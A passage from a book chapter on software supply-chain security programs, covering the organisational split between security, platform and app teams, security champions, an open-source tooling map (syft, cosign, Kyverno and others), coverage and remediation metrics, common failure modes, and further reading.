This is the paved-road strategy from Chapter 9 applied to org design: make the secure path the easiest path so adoption is automatic, then measure *coverage* (what fraction of the fleet is on the paved road) rather than *capability* (whether the control exists somewhere). A control that exists but covers 4% of pipelines is a demo; the same control at 90% coverage is a program. The enabler team's roadmap is a coverage-expansion plan.

RACI over the supply chain

Chapter 9 argued that every stage of the chain needs exactly one Accountable owner, and that attacks live in the rows where the Accountable column is blank. The program makes that RACI explicit and *staffs* it. Three organizational actors, mapped to the phased work:

```

flowchart TB
    subgraph app["App / product teams"]
        AR["Own: app source, direct deps,
service config.
Consume the paved road."]
    end
    subgraph plat["Platform team (enabler)"]
        PR["Own: CI/CD, base images, registry/proxy,
signing + provenance in the templates,
admission controllers.
BUILD the paved road."]
    end
    subgraph sec["Security / product-security team"]
        SR["Own: policy + standards, threat model,
scanning + detection, VEX process,
incident response, metrics to leadership.
DEFINE what good looks like."]
    end
    subgraph champ["Security champions"]
        CH["Embedded in app teams.
Translate policy ↔ team reality;
first responders; adoption drivers."]
    end

    SR -.defines standards.-> PR
    PR -.paved road provides.-> AR
    AR -.feedback + exceptions.-> PR
    CH -.-> AR
    CH -.-> SR

```

The division that works: **security defines** what good looks like (policy, threat model, standards, the metrics), **platform builds** it into the paved road (the templates, the signing, the admission control), and **app teams consume** it by walking the road. Security does not build the pipeline; platform does. Platform does not set the policy; security does. App teams do not do either; they inherit both by using the standard tooling. When these blur — security building snowflake tooling, or platform inventing policy, or app teams each rolling their own — the seams reappear.

The security champions model

The central teams cannot be everywhere, and the app teams know their own systems better than any central team can. **Security champions** bridge the gap: an engineer embedded in each product team (or each group of teams) who carries security context into the team and team context back to the central function. Champions are not auditors; they

are the local expert who knows why the standard matters, helps the team adopt the paved road, and is the first responder when the team's service is implicated in an incident. The model works when champions are recognized, trained, and given time — and fails when "champion" is an unfunded title added to someone's real job. Book 8 covers the governance structures in depth.

Buy vs. build, and the open-source landscape

Most of the tooling you need exists as mature open source, and for most organizations the right default is **build the paved road, buy or adopt the components**. You will not write your own SBOM generator or your own admission controller; you will assemble existing tools into a coherent road. What you *build* is the integration — the glue that makes the tools compose, the templates that hand teams the whole stack at once. Tool sprawl (many tools, no integration) is a failure mode discussed below; the antidote is treating the tools as components of one system, not as a shopping list.

A brief, accurate map of the open-source landscape — each covered in depth later in the suite, so these are pointers, not recommendations to adopt blindly:

Tool	Function	Depth in
syft	SBOM generation (CycloneDX/SPDX) from images and filesystems	Book 3
grype	Vulnerability scanning against an SBOM or image	Book 2 / Book 6
Trivy	All-in-one scanner: images, filesystems, IaC, SBOM generation	Book 6
OSV-Scanner	Dependency vuln scanning against the OSV database	Book 2
cosign	Signing and verification of artifacts and attestations (Sigstore)	Book 5
Sigstore (Fulcio, Rekor)	Keyless signing CA + transparency log	Book 5

Tool	Function	Depth in
in-toto	Attestation framework; the format SLSA provenance rides in	Book 4 / Book 5
SLSA generators	Provenance generation in CI (e.g., GitHub Actions generator)	Book 4
Dependency-Track	Continuous SBOM analysis and component-risk platform	Book 3
OpenSSF Scorecard	Automated scoring of a repo's security posture	Book 7
Kyverno / OPA Gatekeeper	Kubernetes admission policy (signature/policy enforcement)	Book 6
GUAC	Aggregates SBOMs, provenance, and advisories into a queryable graph	Book 3

These names are the vocabulary of the rest of the suite. The point of listing them here is not to tell you what to install Monday — it is to show that the phased roadmap is *buildable today from mature, mostly-graduated open source*, and that the work is integration and rollout, not invention.

Metrics: proving value without vanity

A program that cannot demonstrate its value gets defunded the first budget cycle after the enthusiasm fades. But most supply-chain metrics are vanity metrics — numbers that go up and to the right and mean nothing. The discipline is to measure things that (a) tie to the threat model and (b) distinguish leading indicators (predictive of future risk) from lagging ones (measuring past outcomes).

The metrics worth reporting are mostly **coverage** and **velocity**:

- **Coverage**: % of pipelines emitting signed provenance; % of images signed; % of repos with branch protection and 2FA enforced; % of dependencies flowing through the proxy; SBOM coverage (% of artifacts with a stored, queryable SBOM); % of clusters running the admission policy in enforce mode. Coverage is the honest measure of a paved-road program because it captures the *minimum*, not the average — and the minimum is your posture (Chapter 9).

- **Remediation velocity:** mean-time-to-remediate a vulnerable dependency across the fleet — the wall-clock from "patch available" to "patched version running everywhere, verified." This is the number that decided who slept during Log4Shell (Chapter 9), and it is the direct output of your immutable-infrastructure and CD investments.
- **Policy pass rates and violation trends:** not the raw count of scanner findings (a vanity number that mostly measures how loud your scanner is), but the trend in *policy* violations — genuinely-exploitable, VEX-triaged findings that block — and the mean time to close them.

The leading-vs-lagging distinction matters for what the numbers *predict*. Coverage is a leading indicator: high provenance coverage today predicts low tamper-risk tomorrow. MTTR is a lagging indicator: it measures how you responded to vulnerabilities that already existed. A healthy dashboard has both — leading indicators to steer by and lagging indicators to prove the steering worked.

The cardinal sin is the **vanity metric untethered from the threat model**: "we ran 4 million scans this quarter," "we generated 200,000 SBOMs," "we blocked 50,000 policy violations." These measure activity, not risk retired. Fifty thousand blocked violations might mean the program is working or might mean the policy is miscalibrated and generating fifty thousand false positives that teams are learning to ignore. Every metric on the leadership dashboard should answer the question "*what threat does this number tell us we are more or less exposed to?*" — and if it cannot, it does not belong there. Book 8, Chapter 8 is the deep treatment of program metrics.

Common failure modes

The phased roadmap and the org design above are the positive program. Equally important is the catalog of ways programs fail, because these are common, predictable, and mostly avoidable if named in advance.

Tool sprawl without integration. The most common technical failure: the org buys or adopts a dozen tools — a scanner here, a signing tool there, three SBOM generators from three initiatives — and none of them compose. Each produces a different report in a different place; nothing feeds anything; the SBOMs are not where the scanner looks; the

signatures are not what admission control checks. The result is high spend, high toil, and low coverage. The antidote is architectural: treat the tools as components of *one* paved road, integrated end to end, chosen partly for how well they compose. A smaller, integrated toolchain beats a larger, disconnected one every time.

Blocking before enabling — the developer revolt. The failure that ends programs. A security team, impatient or under audit pressure, flips a gate to enforce before warn mode, before the paved road can carry teams across, before the false positives are tuned out. A critical deploy is blocked, an incident is declared, the gate is rolled back in anger, and the security team is politically radioactive for a year. The warn-then-enforce pattern exists precisely to prevent this. *Never block a path teams cannot easily comply with.* Build the easy path first; enforce second.

Security theater and checkbox compliance. Doing the work for the appearance rather than the property (Chapter 7's "L3 on paper"). Generating SBOMs nobody queries. Signing artifacts nobody verifies. Being "SLSA L3" with a signing key the build steps can read. Checkbox compliance is worse than doing nothing, because it *consumes the budget and the credibility* that real work needs while providing none of the protection the checkbox implies. The tell is always the same: evidence produced but never consumed. Every generation control (Phase 2) must have a corresponding verification control (Phase 3) that actually uses it, or it is theater.

Ignoring the human and maintainer dimension. A program that treats supply chain security as purely technical misses Chapter 8 entirely: the unpaid, burned-out maintainer of the critical dependency (xz, Chapter 5); the internal team that owns the shared library nobody funds; the social-engineering path into your own maintainers. Technical controls do not fix a maintainer who is one burnout away from handing commit access to a stranger. The program must include the human layer — funding critical dependencies, supporting internal maintainers, and treating maintainer account security as a first-class concern.

Treating it as a project, not a program. The mindset failure that underlies most of the others. A project has an end; a program does not. Controls drift off, coverage decays, new pipelines ship without the standard, the threat landscape shifts. A program that is declared "done" is a program that is already decaying. Phase 4 exists to make the ongoing nature structural — continuous compliance, standing metrics, a

permanent team — rather than relying on the memory of an initiative that has moved on to the next thing.

Alert fatigue. The failure that hollows out a program from inside. Scanners that fire on every non-exploitable CVE, admission controllers that warn on everything, dashboards nobody reads — train everyone to ignore the signal, so that the one alert that matters is lost in the noise. VEX (Phase 3) is the technical antidote on the vulnerability side; ruthless tuning and the warn-then-enforce discipline are the antidote everywhere else. An alert that is ignored is worse than no alert, because it costs attention and provides no protection. Measure and cap your false-positive rate as deliberately as you measure coverage.

Distributed-systems lens

This chapter is a program built for the fleet-scale reality of Chapter 9, and its every choice reflects that reality. The **paved road is the delivery mechanism for the entire program** — without it, every control is a per-team migration multiplied by hundreds of teams, and the economics collapse; with it, the platform ships each phase once and the fleet inherits it. The **warn-then-enforce pattern is a fleet-scale necessity**, not a nicety: at a handful of pipelines you could hand-migrate before enforcing, but across hundreds you must observe, tune, and flip centrally or you will break something you did not know existed. The **coverage-over-capability metric** is the direct consequence of Chapter 9's minimum-not-average insight: a control at 100% capability and 5% coverage secures nothing at fleet scale, because the attacker enters through the 95%. The **RACI that tiles the chain** is the organizational answer to Conway's Law putting attacks in the seams. And the **phase ordering tracks the blast-radius math**: Phase 1 hardens the inputs everything shares, Phase 3's expensive L3 work is reserved for the highest-fan-out chokepoints, and the whole sequence spends effort in order of fleet-wide risk. A supply chain security program *is* a distributed-systems program; the single-artifact version of this chapter would be a checklist, and it is the scale that makes it an engineering discipline.

Key takeaways

- **Start with a census, not a control.** You cannot secure what you cannot see; discover what you build, what you consume, what

pipelines and artifact stores exist (including the shadow ones), and what is already signed and scanned. Wire discovery into a scheduled job so the map stays live.

- **Baseline honestly against the property, not the paper** (SLSA build level per pipeline, S2C2F for consumption, SSDF for process). Read the *minimum*, not the average — your posture is your weakest high-value chain, because the attacker chooses where to enter.
- **Prioritize by marginal return against the threat model:** high blast radius $\times$ low current maturity $\times$ plausible attacker path is your first quarter. Do not boil the ocean.
- **Sequence four phases.** Phase 1 hygiene (2FA/SSO, branch protection, lockfiles + pinned hashes, SCA, secret scanning, kill long-lived CI secrets, inventory — Books 2/4/7). Phase 2 integrity/visibility (SBOMs, cosign signing, SLSA L2 provenance, ingestion proxy, image scanning, admission policy in non-prod audit mode — Books 3/5/6). Phase 3 verification/ enforcement (provenance verification at deploy, admission enforcement, hermetic/reproducible L3 builds, VEX triage, dependency policy — Books 4/5/6). Phase 4 program maturity (continuous compliance, detection, IR runbooks, vendor risk, metrics — Book 8).
- **Warn before you block, always.** Deploy every gate in audit $\rightarrow$ warn $\rightarrow$ enforce (non-prod first, high-maturity teams first), with a legitimate time-boxed break-glass path. Skipping to enforce causes a developer revolt that ends programs.
- **The paved road is the whole strategy.** Make the secure path the easy path; the platform builds it once and the fleet inherits it. Measure *coverage*, not capability — a control at 5% coverage secures nothing at scale.
- **Design ownership as enablers, not gatekeepers.** Security defines the standard, platform builds it into the road, app teams consume it; security champions bridge the seams. RACI every stage so no row's Accountable column is blank.
- **Buy/adopt the components, build the integration.** The whole roadmap is buildable today from mature open source (syft, gype, Trivy, OSV-Scanner, cosign, Sigstore, in-toto, SLSA generators, Dependency-Track, Scorecard, Kyverno/OPA, GUAC). Tool sprawl without integration is a failure mode; a smaller integrated toolchain wins.

- **Measure coverage and remediation velocity, tied to the threat model.** Avoid vanity metrics (scans run, SBOMs generated, violations blocked); every dashboard number must answer "what threat are we more or less exposed to?" Distinguish leading indicators (coverage) from lagging ones (MTTR).
- **Know the failure modes:** tool sprawl, blocking before enabling, checkbox theater (evidence produced but never consumed), ignoring the human/maintainer dimension, treating a program as a project, and alert fatigue. All are predictable and mostly avoidable if named in advance.
- **It is a program, not a project.** It never finishes; Phase 4 is a permanent operating mode, and its monitoring and metrics feed back into re-assessment as the estate and threats change.

Further reading

- OpenSSF, "Secure Supply Chain Consumption Framework (S2C2F)" specification — the eight practice areas and four maturity levels used for the consumption-side baseline (Book 3 / Book 2 for mechanics).
- SLSA v1.0 specification (slsa.dev) — the Build track levels (L0-L3) used to grade each pipeline; the framework the phased roadmap's provenance work implements (full treatment in Book 4).
- NIST SP 800-218, *Secure Software Development Framework (SSDF) v1.1* — the process wrapper (PO/PS/PW/RV) against which the organizational practices are baselined, and the language of US federal self-attestation (Book 8).
- CISA, *Securing the Software Supply Chain: Recommended Practices* (the Enduring Security Framework guides for developers, suppliers, and customers) — a practitioner's cross-check on the phased controls.
- Google, "Building Secure and Reliable Systems" (O'Reilly) and the SRE books — the paved-road / golden-path model and the enabler-vs-gatekeeper posture that the org-design section builds on.
- Sigstore documentation (sigstore.dev) and the cosign project — keyless signing, Fulcio, and Rekor, the default artifact-signing mechanism of Phase 2 (full treatment in Book 5).

- The SLSA GitHub Actions provenance generator and the in-toto attestation specification (in-toto.io) — the provenance-generation tooling of Phase 2 and its format (Book 4 / Book 5).
- CycloneDX 1.6 and SPDX 3.0 specifications — the SBOM formats generated and stored in Phase 2 (full treatment in Book 3); OpenVEX and the CSAF VEX profile for the Phase 3 triage work.
- OWASP DSOMM (DevSecOps Maturity Model) and OWASP SAMM — alternative maturity lenses useful for self-assessment beyond the three primary frameworks.
- Forward references within this series: Book 2 (dependency management, ingestion, SCA, dependency policy); Book 3 (SBOMs, VEX, Dependency-Track, GUAC); Book 4 (build/CI-CD hardening, OIDC, hermetic and reproducible builds, provenance generators); Book 5 (Sigstore, cosign, in-toto attestation); Book 6 (container and cloud-native, admission control, image scanning); Book 7 (source security, branch protection, Scorecard, insider threat); Book 8 (governance, continuous compliance, incident response, vendor risk, and program metrics in Chapter 8).